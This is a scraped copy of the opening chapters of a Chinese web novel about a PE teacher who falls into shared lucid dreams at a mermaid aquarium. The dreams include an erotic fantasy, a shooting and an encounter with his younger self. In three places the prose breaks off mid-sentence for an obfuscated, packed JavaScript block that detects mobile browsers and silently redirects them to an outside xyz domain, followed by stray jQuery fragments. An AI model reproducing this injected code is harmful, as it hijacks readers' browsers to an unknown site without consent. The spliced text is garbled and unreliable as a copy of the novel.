《我在梦里打黑工》 1. 人鱼之梦 第一章 “‘畅游东海’的团友们,请跟着我,大家看这个广场,广场中央这个身姿曼妙的人鱼雕像,建造于1994年,这个雕像是由东海市的渔业大亨张智宏先生捐赠的,相传当年——” 相传当年张先生的爷爷出海的时候遇上风暴,掉进海里被一条美丽的人鱼救了上来,啊,相传当年张先生的爸爸天天捞不到鱼,某天一条人鱼出现,她用她美妙的歌声引来了大量鱼群,张先生因此生意兴隆,发了大财,啊……我虽然没有确切地听说过东海市的人鱼传说,但海边旅游城市人鱼传说,就和美食街里的轰炸大鱿鱼一样,全国连锁,风味相通,我调动一下我贫瘠的想象力,大概也能猜个八九不离十。我手里拿着刚从“东海古城”里买的大鱿鱼串,站在老年旅游团的后面,听导游讲人鱼。 故事正讲到美丽的人鱼在风雨交加的夜晚和张先生偶遇时,站在我旁边的路迢转向我,忽然问了我一句:“江夷,你家是不是也在海边?” 路迢是我的同事,我们同在市里一所普通中学里当老师,我今天能出现在这里,也是因为他。后天是我们学校另一个老师的婚礼,新郎邀请同乡路迢回东海市喝喜酒,路迢社恐,于是拉上了我。他这一问来得有些突然,我牙还咬在鱿鱼上,所以我只好点了点头。 “在我二十多年的人生里,我听过好多次关于这个雕像的故事,但有趣的是,每一次都不一样。”他举起手里剩的小半串鱿鱼,指向高空的人鱼,“我有点好奇,你家也有人鱼吗?” “啊?”我想了想,“……有吧。” 路迢对我这个含糊的回答显然不太满意,虽然他没说,但从他低头继续吃鱿鱼的表现我可以猜测出,他觉得我在敷衍他。 但其实我没有。这个“有吧”是我经过思考之后,审慎的回答。我对家乡的记忆可以说是非常非常,非常之模糊。我家住在一个比东海市还要小得多的海边小镇里,镇里只有小学,从中学起,我一直在旁边城市的学校寄宿,毕业之后,我又到更远的地方工作。关于家乡,我只记得那里有海,有山,有树……还有一个小公园。 公园是镇子里一个做珍珠养殖生意的人捐赠的,说是公园,其实就是一小片铺了砖的空地,周围寥寥几棵树,还有很久没人打理的草坪。公园中央有和这里相似的一座人鱼雕像,只不过那雕像比这里的要小,形态也更奇异一些。东海市这座人鱼塑像,长得相当符合现代人类的审美,假如把她的鱼尾巴换成腿,手心上的明珠换成宝宝,这座塑像就可以毫不违和地改名叫“伟大母爱”。但我家的那座可不行。我印象中的人鱼,是一个非常长,非常软,真像一条长长的鳝鱼一样,诡异地弯折着的女人。在我家那种小地方,不太可能会有什么太现代太超前的审美出现,她长得越奇怪,我越觉得她是真的。 我似乎有问过这人鱼的来历,但我记不清楚了。我本来就没怎么回过老家,加上几年之前,我带学生去足球场上课,那群臭小子只有力气,没有技术,不知道是谁一个大脚抽射,足球砸我后脑勺上,我本来没当回事,结果回家之后,一直觉得头脑发昏,晚上去急诊一看,说是脑震荡。幸好那几天碰上国庆假期,我悄悄住了几天院,没好意思让别人知道我一个体育老师,被学生一球踢成脑震荡。这事情算是我的一个秘密,谁都不知道,但自从那次之后,我的记忆力就变差了——本来就很模糊的,关于家乡的回忆,现在变得更模糊了。所以我想了好几秒,只能这么回复他。 见我们对人鱼雕像兴趣寡淡,你一句我半句之后就没了下文,我们今天的向导,也就是新郎官的表哥,忽然间凑了过来。“我跟你们说,这个古城白天没意思,能看的也就这个石头雕像,等晚上我再带你们出来,古城里还有个好地方,嘿嘿……” 新郎官是个正直人,但他的表哥从外表到言行,显然都不是正经的那种人。他一说“好地方”,我就觉得是个什么违法犯罪的温床。路迢显然和我有同样的想法,他看了我一眼,我看了他一眼,东海市不大,地理位置可以算是有点偏远,这种山高皇帝远的小城市,可说不准会有什么。我们两个遵纪守法,听得有点慌,几个眼神过去,表哥也看出来了我们心中所想。表哥“哎哟”一声,接着说道:“哎不是,你俩想什么呢!正经地方,正经地方哈,这都正经旅游区好吗?只不过有个水族馆,晚上有人鱼表演,票可抢手了,你们既然来了,我找我哥们给你们留两个好的位置,他在那里卖票。” …… 晚上的古城,和白天的古城完全不同,但那彩色的霓虹灯招牌,和我们在香港或是其他打着“港风”旗号的步行街们,并没有什么区别。路迢和我跟在表哥后面走,路迢是个语文老师,我并不经常意识到这一点,但他时不时冒出来的一两个我完全不知道的典故,会适时地提醒我这一点。 他说,《世说新语》里有一则故事,说的是美男子卫玠十几岁的时候,有一次问他未来的岳父乐广,梦到底是什么?乐广说梦是心中所想。卫玠不理解,乐广给他举了个例子,说你不会梦见坐车进老鼠洞吧?不会梦见把铁棍捣成粉末然后吃掉吧?因为你没有想这些事,你就不会梦见它们。 我让他说人话,他推了一下他实际上只有一百度的眼镜,他说,这些古城就像乐广的梦境,设计者见过什么,他就建造什么,这里不会有他们记忆以外的东西,因为他们不曾想过新的东西。如果我是卫玠,我就会反驳乐广,因为我就梦见过骑自行车在天上飞,在海底打麻将,我没有主动地去想过它们,但我还是不由自主地想了,这种身不由己,就是创造的魅力所在。 我听得半懂不懂,但作为朋友,我附和了几句,因为记性太差,表哥忽然一句“到了”,我就忘记说到哪里了。但这不重要了。路迢的注意力被眼前的水族馆吸引了过去,我也是。水族馆门口是个霓虹灯招牌,上面写着“人鱼幻梦”四个大字。因为招牌灯光太亮,我跟在表哥后面,掀开门帘,走进昏暗的室内时,还有些晕头转向,脚步虚浮。 尽管我什么都看不清,但我知道这里不大,因为室内的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957352|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气有些混浊,而人们说话时的回音十分明显。表哥的话并无夸大,这里确实一票难求,人坐得非常满。这地方像是由一个旧电影院改造而成的,我和路迢举着手机照明,跟在表哥后面,走下一级级的台阶。表哥把我们带到最前面一排正中央的位置坐下,我们甫一坐下,底下的按摩椅就自动开始按摩,与此同时它开始了它缓慢的倾倒过程,按摩椅的力度设定得有点过于粗暴,我光顾着痛,没留神椅子正在悄无声息地往后倒,等按摩结束,耳边响起温柔的女声——“继续按摩请支付宝或微信扫右侧二维码”——的时候,我几乎已经躺平了。 室内仅剩的几点照明灯光熄灭,就像电影将要开场时那样,室内全然陷入黑暗。之后在我们上方,一个巨大的屏幕亮起——蓝色的光照得人脸色也发蓝,我左边的表哥和右边的路迢像两个阿凡达。我的眼睛有点敏感,习惯了黑暗之后,突如其来的一大片蓝光让我不由得冒了点眼泪。在泪光之中,我看清眼前的蓝色,并非一个巨大的屏幕。那是一个鱼缸,呃,准确来说,一个人鱼缸。 人鱼当然是假的,是人扮的,缸里是几个身材曼妙,穿着闪闪发亮的人鱼尾巴,在水里来来去去游动着的美女。请这么几个年轻漂亮,还能长时间在水里潜游表演的演员,实在不太容易,至少在东海市这个小地方,这景点的人工成本可以算是十分高昂。钱花在了演员上,鱼缸其他东西就做不到那么仿真了。缸里只有珊瑚石头贝壳之类的摆设,还有一些身躯僵硬的假水草,除了人鱼,缸里没有别的活物。我在网上见过大城市的海洋馆,那都是真的海鱼,活的珊瑚,演员在里面游动,场面相当震撼。但我毕竟没亲身见过这种场面,虽然这里的有点低配,但头顶蓝色的海底场景里,人鱼在我上空盘旋,像在游泳又像在飞行,水缸里的水十分平静,但她们的长发随着她们或行或止的身形飘动,那些或散开或盘结的头发,仿佛是海中波涛的动荡。 亮灯的那一刻,人鱼和大海现形的那一刻,屋里爆发出一阵惊奇的欢呼。但等人鱼游动起来,水缸里粼粼的波光照到身上,我们不由自主地又安静了下来。我看着人鱼发愣,看着看着,仿佛我也成了静态的物品,成了缸里的珊瑚,石头,贝壳。旧电影院里坐满了珊瑚石头和贝壳,水缸的玻璃溶解在空气中,蓝色的水在不知觉间淹没了整个空间,缸里的人鱼游了出来,她们在离我很近的上空游过,不知道是水草还是她们的长发,在我的皮肤上轻轻搔过。一条长着金色尾巴的人鱼悬浮在我的身前,她微笑着向我挥手,我想跟她打招呼,但我的手一点也动不了。 我应该是睡着了。感觉像鬼压床,我的精神醒着,但身体在梦里,不听我的指令。每每做梦做到这个节点,意识到自己在做梦,人却醒不来,接下来人就该要做噩梦了。我挣扎着要醒来,身体全然不听使唤,表哥的声音从很远很远的地方传来,他在喊我,“醒醒,快点”——路迢的手出现在我和人鱼中间,他在掐我——金色的人鱼在摇晃,我像在一个雷雨天信号不稳的电视机里,跟着屏幕一起闪烁。 2. 春梦泳池 我猛然睁开眼,鱼缸还是那个鱼缸,电影院还是那个电影院。缸里的人鱼早就走了,打扫卫生的阿姨从前往后一排排座位打扫,一边打扫一边把像我这样在按摩椅上睡着的观众摇醒。表哥和路迢站在我面前,我茫茫然坐起身,表哥伸手拍了拍我的肩膀,说,哎,昨天你们坐过夜火车来的,肯定没睡好吧?他嘘寒问暖了几句,见我彻底醒过来了,他伸手指了指前面通向屋子更深处的一个门帘,语气又霎时恢复了白天时的不正经。“接下来这个票可就更难买了,快跟我来,昨晚没睡好没关系哈,今晚睡个好觉,做个好梦,嘿嘿……” 一听他“嘿嘿”,我和路迢就心里发毛。没等我反应,旁边路迢就站住了脚,开口说道:“虽然表哥你是地头蛇哈,我们两个跟着你绝对没错,但我们胆子小,特别是江夷,你别看他这么大一个人,他怕黑的。那个,那个……”他叠了十几二十层甲,没把最重要的点说出来。我急了,我接着说道:“表哥,那个门后面是什么,事先给我知道知道,行不?” 电影院里的扫地阿姨正清到倒数第二排座位,屋里除了我们几个,还有别的人。虽然隔得很远,表哥还是靠近了我们。他压低声音:“你们两个别害怕,里面肯定不是什么违法犯罪的地方好吧,就是……就是,怎么说呢,江夷你先别怕啊,说起来有点灵异,但这里没有鬼,我可以用人格担保啊。” 见我们两个对他的人格也不是很信任,他又继续说:“就,哎,我实话实说好了,东海的人鱼是真的,但那些人鱼传说都是后来的人编的。人鱼是好多年之前被不小心捞上来的,以前这个屋子里就放了个比这小一点的玻璃缸——”他指了一下我们头顶的大玻璃缸,此时的缸里已经没有活物了,“她被放回海里之后,屋主就发现,他每次在这里睡觉,都会不停做梦,而这些梦一般都很好,他想梦见什么就梦见什么。” 他一边说,一边往前走,我和路迢顾着听,不知不觉间竟然就跟着他走了。他掀开门帘,跨过门槛,我们两个糊里糊涂地跟着进去。门帘里面和外面的电影院完全不一样,里面很亮堂,看起来就像个普通的民宿。表哥领着我们走到电梯口,等电梯的时间里,他还在继续说:“东海地方小,那时候管得不严,市里还是有些发廊啊洗浴中心啊之类的东西,那个屋主也是聪明,他把屋子改造成这些东西,骗人进来。但这完全是无本生意,屋里除了清洁阿姨,就没有别的女人。他让嫖客在外面沙发先等着,其实那时候他们就睡着了,房间是假的,女人是假的,一群嫖客在门口沙发做个春梦,天就亮了。” 我和路迢两个人在感叹他的聪明,人已经走进了电梯,而我们无意中一抬头,便看见玻璃轿厢外面的水泥井,和电梯上的按钮。电梯上只有三个按钮,1,66,108。东海古城里绝对没有108层的高楼。 我眼看着路迢的脸霎时白了,我的脸大概也是这样。但电梯确实在往上升,它升得很快,我的耳朵有些胀痛。它很快脱离了水泥电梯井,接下来的电梯井是透明的,一大片亮眼的蓝色又出现在眼前。我和路迢两个人看向表哥,表哥趴在观光电梯厢上看外面的水。他说:“现在的老板是屋主的儿子,我们三个现在人还在电影院里睡觉,从我拍醒你们开始,都是在做梦。” 电梯经过66层的时候,我们看到了坐在落地大玻璃旁边玩手机的老板,表哥对老板挥手,老板也对我们挥手,之后他的身影便迅速地被甩到我们的视野下面,电梯越升越快,几乎是在飞,之后它陡然减速,最后在108层停下。 从电梯出来,是一个巨大的环形观光厅,观光厅由高达两层楼的玻璃围成,灯光照进观光厅外面蓝色的水池里,观光厅里全是金色的波光。 知道我们在做梦之后,我和路迢反而松一口气。虽然我们内心还是有些疑虑——毕竟在我二十多年的人生里,我从没做过这样沉浸,又这样清醒的梦,人鱼电影院的老板大概用了一些高科技的手段。但考虑到两天之后,我们的同事要办婚礼,表哥虽然看着不像正经人,但他也不像个坏人,催眠我们的大概只是些寻常的安神熏香,再大不了就是安眠药,总不至于是些吃了就要进监狱的东西。我和路迢一边惴惴不安,一边破罐子破摔,我俩人都睡着了,都被带到这里来了,还想那么多干什么。 表哥带着我们往旁边的楼梯走,我们就跟着去。水就108层深,从观光厅再往上走,我们就能看到水面了。观光厅外围是更大的一个环形水池,池边放了很多潜水装备。我和路迢都是在海边长大的,水性不错,但就是游泳世界冠军,看见这幽深的,整整108层楼深的水池,心里都要发憷。我们直接就往最厚重的装备走去。 表哥左手拉我,右手拉路迢,嘴里喊道:“哎别过去,你们两个怕什么,你们在做梦,梦里不需要呼吸!”见我们两个拉不住,他又说:“那潜水设备是摆设,老板没穿过真的,他不会做这东西。他也没真正潜过水,你们潜到水底,也就跟去东海游泳馆游泳一样,这观光厅是他在梦里造的,假的!” 还是路迢反应快,听到表哥这么说,他问道:“那春梦呢?不会每个人梦里看见的都是老板看过的东西吧?我要是跟他审美不一样,我还能半路醒来吗?” 表哥松开拉着我们的手,他走到池边,指了下水面——指了下水面的正下方,那108层楼高的,蓝色的深渊。他说:“水以外的地方,是老板的梦境,水里面,是你自己的梦境。你想看见什么,什么就会在水里出现。” 我和路迢看向水池,池子里映着我和他和表哥的倒影。表哥显然已经来过好多次,他一点没迟疑,像跳进东海游泳馆的游泳池一样,轻易地就跳进了这个深渊。我和路迢看着水里他的身影越来越远,我朝着水池大喊:“表哥,里面怎样?” 他的身影已经消失在幽深的水里,但我们却听到了他的声音。 “你俩下来啊,问我干啥?” “不是啊表哥,江夷胆子很小的,他怕水鬼啊!” 死路迢,自己害怕还把锅甩给我。 “我怎么形容呢,我不是跟你们说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957353|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了里面是春梦吗?反正,反正是美女,”他着急做他的美梦,被路迢猛地喊住,耽误了时间,不免有些恼怒,“你们两个别问了,要下来就赶紧跳,不敢跳你们就坐电梯下去,原路返回电影院,人就醒过来了。” 路迢犹豫,我也犹豫。路迢犹豫了一会儿,凑过来,小声问我:“江夷,你……” 他声音有点小,我太紧张,听不清后半截:“什么?” “……”路迢被迫加大音量,他简短的疑问句在水池周围回荡,“我问你做过吗?” “……没有。”气氛有点尴尬,“你呢?” “我也没有。”路迢看着水池,神情一如站在天台往楼下看,眼中有些许死志,“那我们要是下去,会看到什么?” 不知道。 我看向蓝色的深渊。人好像有点本能的,想要往下跳的冲动,站在天台上,人会不由自主地想,跳下去会怎样,站在水边也会有这种感觉。对深渊的畏惧越大,坠入其中的画面就更挥之不去。 “不知道。”我说,之后看向他,“无所谓,反正是在做梦。我们跳吧?” 我们看看彼此,之后一起跳了进去。 水里几乎没有浮力,我在飞快地下坠。但池子太深,我前看不见表哥,后看不见路迢。水是假的,我在水里能说话。我大喊:“路迢!”我上方的水被灯照亮,路迢的剪影在很浅的地方漂浮。“路迢你怎么没下来啊?”我问。 “我不知道啊,这里浮力好大,我完全沉不下去啊。”路迢在上面喊。 我下沉得太快,就他说一句话的功夫,我已经又沉了四五层楼,他那句话听起来像跟着我一起沉没。还好我嗓门大,我拼命大喊:“路迢你看到水里有什么东西了吗?我这里什么都没有。” “好像有,好像有,好像是……好像是人鱼。”我已经落到很暗的深水区,路迢的身影我已经看不到了,我只能听见他的声音。“这人鱼有点瘦啊,呃,长得很古典,没有鱼尾巴啊?怎么,怎么有点像林黛玉?我最近正好在看,这身形和书上的插图好像,衣裙也一样。但我看不清她的脸,她的手我倒是看得很清楚……” 他的声音消失了。完完全全地,消失了。表哥的声音也一样,他们两个大概已经到了他们自己的梦境里,而我—— 而我呢? 我还在往下沉。 我还在飞快地往下沉。 玩手机的老板在我视野里一闪而过,我已经落到66层以下了。 池子很空,从108层,到我现在所在的,大概是四五十层的地方,什么东西都没有。我努力回想表哥说的话,他说这个水池就是我的潜意识,路迢脑子里装满了东西,因而不需要落得太深,他就找到了自己的梦境,而表哥,表哥好像是在七八十层的地方消失的。我……我还在下沉。我想起几年前那个把我踢成脑震荡的足球。好尴尬,这是不是说明,我的大脑就跟这个池子一样,80%的地方都空无一物? 啪。 灯忽然打开了。 3. 二十岁的江夷 池子一下子变成了一长条浅蓝色的,明亮的光柱。有东西了,有东西了,这里离地面只有二三十层楼的高度了,我终于看到了我的人鱼。她皮肤很白,留着一头厚厚的浅金色长发。她金色的尾鳍展开,几乎有池子大半宽度的尾鳍上,全是细细的鳞片,光照在上面,鳞片闪闪发光。她游向我,我观察她。表哥说每个人都会看到自己的性幻想,她确实长得很像我的性幻想。我的性幻想没有什么实质,没有什么内涵,她是我看过的色情片女主的集合,是她们的总和,是她们的浓缩。我看不清她的脸,这符合一个春梦的逻辑。除了脸,别的地方都看得很清楚,这是现代影视科技发展的印证,有色影片清晰度大幅上升。她的曲线很夸张,胸特别大,上面是两个白色的贝壳,腰很细,在这里,人类的皮肤过渡到金色的鱼尾,鳞片包裹着的地方陡然增大,她臀部的尺寸和胸部同样反人类。 我很难想象路迢居然能在这种场合看见林黛玉,他那不能叫性幻想,他那应该是爱幻想。当人鱼的手臂缠上我的颈项时,她柔软的身体贴在我的身上。我忽然有点分心,不知道路迢在和他的林黛玉聊些什么?在我想林黛玉的时候,水池里好像有些奇怪的骚动。我瞬间意识到这里的一切都是我的潜意识,我在控制我的潜意识,我倘若想林黛玉,我的金发女郎就会变成林黛玉。 但人的潜意识是如此的不受管束,我越是不让自己想林黛玉,我就越控制不住自己去想林黛玉。我的水池依然没有浮力,我的分神让这里的光线变得动荡,怀里的人鱼时而是实体,时而是泡影。我已经能看见池底,以我这样的速度下坠,摔碎在这里几乎是一种必然。独自从108层下沉到和人鱼相遇的20层,我并没有多少恐惧。但她在我的怀抱里逐渐消失的感觉,好像触动了某些我遗忘已久的……恐惧。我强迫自己专注地去想她,专注地,在脑海里回放她展开金色的尾鳍,从黑色的深渊中冉冉上升的影像。 专注。 当最后一丝不听话的林黛玉离开我的大脑时,我的身体撞到了水池的底部。 我抱着金色人鱼,撞破水池底部的蓝色瓷砖,我和她穿过混凝土,坠入黑暗的地壳深处。这样的坠落没有痛感,没有任何感觉。我在黑暗中下落了很长一段距离,之后周围变亮。 我掉在一张长沙发上,人鱼在我的身体上面。这是一个客厅,屋里只亮了一盏黄色的壁灯,墙上的时钟,轮廓清晰,指针模糊。场景符合梦境的特点,我终于和表哥和路迢一样,在深沉的睡眠中,找到了自己的梦境入口。 沙发很窄,只能容我一个人躺下,人鱼伏在我的身上,我但凡移动一下,她就可能摔下来。我没敢动,只是稍微伸了伸脖子,去看我所在的这个客厅。场景是陌生的,人鱼的尾鳍已经分开,她金色的鱼尾变成了一条金色的长裙,从我这里看去,能看见她的裙摆,和裙摆之间隐约露出来的,她纤细的脚腕。我的手还抱着她,原本是裸露皮肤的腰部,此时被缀满金色亮片的长裙覆盖。亮片摸起来像是细小的鱼鳞,它们在我的指尖剐蹭。她在我身上动了动,无论是她的重量,还是她活动时,寂静的空间里细微的衣物摩擦声,都来得如此真实。 我虽然明知道这是一个春梦,但它太真实了,她像是个真实存在的女人。和一个才见面五分钟,甚至没说过一句话的女人亲密接触,对于我来说还是有点心理上的隔阂。但我忘了,她就是我的潜意识本身。在我迟疑着要不要抚摸她的时候,她已经将我的手放在了她的腰上。她在亲吻我,温热而柔软的嘴唇熨烫着我的下颌,她的头窝在我的颈胸之间,我的下巴陷进她蓬松的浅金色头发里。 她的动作让我不由得闭上眼睛,她把我的手带到她的长裙背后的系带上,这场面有点过于突然,我简直不敢动,但她的裙子自己散开,变成一块布,变成一滩水,从我和她之间流下,金色的衣料淌了一地。她完全受我控制,我的每一个细微的念头都会变成现实,当我想起她在水池里的时候,穿着的那件贝壳胸衣……她就将我的手带到她的身前,我不小心碰到了她的皮肤,她的体温比我要低一些,那种微微冰凉的,柔软的,丝绸一般的触感,引起一次并不愉快的期前收缩。我的任何不稳定都会引起梦境的不稳定,房子随着我的心脏一震,我不由得睁开了眼。 我和她的脚正对着玄关的方向,那里有一个鱼缸,鱼缸的那边,就是屋子的门口。这个陌生的环境让我隐约有些不安全感,像是一个常见的裸露噩梦,在室内不穿衣服,下一刻门就要被打开。我果然不能分心,我一想“门被打开”,门外就传来了一些声响。 经历过水池里的林黛玉,我在听见门外响动的那一刻,就马上强迫自己专注,专注地想她,想我指尖下她的触感。但这种努力似乎不再奏效,门外的骚动越来越大,越来越大。 有人来了。有很多人。 陌生人的出现,是梦境碎裂的前奏。 外面人说话和走动的声音忽然停止,之后,是“砰”的一声巨响。 事情发生得很快,而我正好睁着眼。我看不到门那头的人,只看到一颗子弹穿过玄关的鱼缸,玻璃鱼缸被子弹轰得四分五裂,里面红色的金鱼像血一样溅射出来。而子弹穿过鱼缸,打在我怀里的人鱼身上。刚刚还窝在我身上的人头,只剩下了一半,半个被子弹打碎的脑袋化成水,顺着人鱼金色的头发滴滴答答地落在地上。 我将她推开的时候,她已经是一具僵硬的尸体。鱼缸碎裂,敞开的门外出现了一条走廊。我爬起身,人鱼的尸体跌在地上,哐当一声化为齑粉。我赤脚站在客厅的地面上,人鱼的血肉和她金色的衣料都化成了水,她的血是绿色的,绿色的水上漂浮着细碎的金粉,淹过我的脚背,我踩着水走,走到门口。外面一个人都没有,只是一条横行走向的走廊,距离我大概5米的地方,有一条楼梯。 我没有走动,当我看到楼梯,楼梯就向我移动过来。它移到了我的面前,一个提着刀的人从楼梯上跑下来,他并没有看到我,他跑下楼梯,之后往左转,顺着走廊追去。外面在下大雨,风很大,提着刀的人,消失在走廊尽头被风吹起的窗帘后面。 他消失之后,我右边的门打开了,一个人警惕地从里面走出来。 我很确信那一刻我看见了我自己。 那大概是几年前的我,他看起来比现在的我要白一些,他攥着拳,手心里紧握着什么,因为皮肤白,他前臂上青色的静脉分外突出。他长得和我几乎一样,但他又绝不是我。他的眼神中有些经年累月的警觉,尽管他表情平静,此时正沉着地盘算着他接下来的逃跑路线——他看向走廊右边被风鼓起的窗帘,看向前面的楼梯,看向左边的窗口,闪电将窗口外的天空照得白一片黑一片的——但他的每一寸肌肉都紧绷着。这是一个心事重重,几乎没快乐过的年轻人,而我……我80%的大脑都空无一物。 他小心地踏出房门,但就像每一个噩梦的发展一样,他的脚步声很轻,几乎没有,但他一动,追杀他的人马上就感知到了。那个提着刀的人从窗帘里冒出来,而我面前的楼梯,上下都有人在跑,楼梯在晃,走廊在晃,而慌不择路的那个“我”,朝走廊左边敞开的窗子跑去。 我就站在门口看他跑,他好像看不见我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957354|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为他径直地朝我撞了过来,没有半点要躲开的意思。 他撞向我。 融入我。 成为我。 他疯狂地跳动着的心脏,他叫嚣着的恐惧,他沉重的灵魂……一切一切,都撞进了我的身体里。走廊上没有了他,只剩下我,那些追逐他的人,也都奔我而来。他的恐惧对于我来说是陌生的,是异物,在我生活在现实世界的二十多年里,我从未有过像此刻一般激烈的情绪。我的身体在排斥冲进来的另一个灵魂,我想吐,这绝对是一个噩梦,我望向走廊尽头敞开的窗子。 我很少做梦,但那个寄生在我身体里的,陌生的灵魂,他正在操控我,操控我往窗口跑去。 我跑到窗边,攀着窗台就往外爬。 跳下去,摔在地上,在梦境里死亡,之后我就会醒过来。 追来的人从后面抓住了我的脚腕,我的身体悬在窗口,随着窗外的风雨飘摇。重力拖拽着我往下坠,他们的手终于松开,我头朝下往地面上撞。下落的过程非常快,但预想中的醒觉并没有到来。雨下得很大,当我下落时,积水在往上升。我落入水中,被冰冷的海水淹没,我勉强踩到了地面,但水位飞快地上升,而我被风浪推着前进。 雨还在下,但天色迅速地变亮,梦里的时间并不连续,一抬头,天亮了。我一秒前所在的那栋楼,在风雨中轰然倒塌,沉入水中。它倒下时激起的巨浪将我又往前推了几步,我脚下的地面忽然消失。我陡然失陷在水里,倒塌的楼房里的东西都往水底沉,那个破碎的鱼缸,人鱼的衣服……还有一个保险箱。 保险箱上的是密码锁,六位数字,所有数字都是0。我想起了我手里紧攥着的东西,我摊开手掌。 手心里的是一张纸条,纸条上写着数字,但水已经将字迹化开,上面只剩了模糊的一片黑影。 天完全亮了,阳光照到我所在的深渊中。和我来时那个108层深的水池不一样,水底下是一座倾倒的城市。不对……那不是“倾倒”,是“沉没”,这座城市像被一只无形的大手,生生按到了水底。所有东西还保持着它下陷时的形貌,只是时间久了,房屋和桥梁都受到海水锈蚀。而那个保险箱,它从我身边漂过,之后迅速地下沉,坠落到一座像是图书馆一样的建筑里。图书馆的玻璃穹顶被保险箱砸开,水被吸到真空的建筑里,这一阵水流连带着把它上方的我也吸了过去,强大的水流几乎将我撕裂—— 我睁开了眼。 我还躺在电影院里。我左边的表哥,右边的路迢,还有电影院里的其他人,都在熟睡之中。电影院里还播放着助眠的海浪白噪音,我从按摩椅里爬起来,我的心脏似乎被换了一个,它很沉重,梦里那个撞进来的“我”,好像还在我的胸腔里面。我放轻脚步,走向电影院的门口。 门外是一张躺椅,一个六十多岁的干瘦阿叔正躺在上面睡觉。在他旁边的是电影院的电子时钟,上面红色的数字显示02:15。 现在只是凌晨两点,我不过睡了三个小时。 这个阿叔我见过的,在塔楼的66层,那个玩手机的老板就是他。梦境里的他比现在要年轻至少三十岁,我站在他的面前,观察着他。他睡得不深,似乎是察觉到些许威胁,他睁开了眼。 他看了我一眼,之后迅速地往旁边侧头,看了一眼钟。他大抵是从来没在这个时间点,见过一个清醒的人,他那双狡黠的,平时大概不太会表露情绪的眼睛里,难得地有些惊惶。 我逼近他。 我胸腔里那个二十岁的江夷,执意要在此刻,从他这里得到一个答案。 4. 珩 第二章 二十岁的江夷在我的胸腔里溶解,胸口里的异物感还在,但他的警觉、谨慎、老谋深算,似乎正在占领我大脑中空无一物的那80%。借助了一点他的智力,我轻易地从老板的眼里读出了他的意图。 我一步上前,在他偷偷伸手去摸手机的时候,挡在了他的身前。我是个体育老师,大学学的散打,虽然电影院是他的地盘,虽然门外可能有他的保安,但奈何此时是凌晨两点,奈何我有体型优势,我挡在他面前,他是一点也不敢动。 当我盘问他这座电影院的来历时,他没敢多做隐瞒。 “是那段海浪声……” 他说完这句话,我们所在的地方又陷入了夜的寂静中。虽然隔着一层门帘,我还是可以听到电影院里的海浪声。从里面出来的时候我只顾着找老板,并没有仔细听。这段海浪声只有短短二十秒,它只是在不停,不停地循环播放。 “你在哪里录的?” 新的脑子果然好用,没等我盘清个中逻辑,那个凶狠的二十岁江夷就藉由我口,问出了这么一句。 “这……这说起来可就长了。” 那是三十年前的事情了。 三十年前,东海市还是个小县城,老板从这里南下,到大城市去打工。那一年他三十岁,本来谈好了要结婚的未婚妻忽然间弃他而去,跟别人私奔了。他孤身一人离开家乡,既无文化也无技能,他跟着一个同乡学瓦工,正好市里有个中医正骨馆装修,他负责给医馆新砌的厕所贴瓷砖。 那个年代,隔音材料还远没有现在这么普及。正骨馆很小,外面有个大哥,好像是肩关节脱臼了,老板在厕所里贴瓷砖,忽然听得外面一声大叫,那叫声简直震天响,知道的说是正骨,不知道的还以为在杀人。老板这时候正蹲在地上,在贴低矮处的墙砖,建筑材料比较便宜,总有些淡淡的化学品味道,本来老板闻得晕乎乎的,被大哥这么一喝,整个人都吓醒了。 他站起身,好奇地往外走去。和他一起往外走的,还有隔壁房间里的一个女人。女人看起来二十四五岁,她的头发染成红棕色,烫着漂亮的大波浪卷,她身上穿着一件流行的泡泡袖短衬衫,底下是一条黑色的过膝长裙,这一身装扮都十分入时,但她脚上穿的却是一双塑料拖鞋,九十年代硬邦邦的透明水晶塑料拖鞋,走起路来嘎嘎响。老板在心里暗想,她大概不是顾客,但看她的装扮也不像员工,正骨馆老板是个五六十岁的大叔,说不定她是这个正骨馆老板的女儿。听到她的拖鞋声,外面一个学徒赶紧跑过来。 “珩姐,没事,”学徒解释道,“那大哥嗓门大,这下好了。” 老板看向女人,她的反应特别平静,听到解释,她只是淡淡说了几句,让学徒安抚一下其他被吓到的客人云云,之后就要转身回去。但她很平静,她身后那个屋子里的人却不是。屋子里的是一个七八十岁的老太太,她好像在睡觉,这动静把她惊醒了,她正坐在床上,呼吸急促,脸色惨白。老板看着害怕,忙跟年轻女人说:“老太太还好吗?要不要送她去医院看看?” 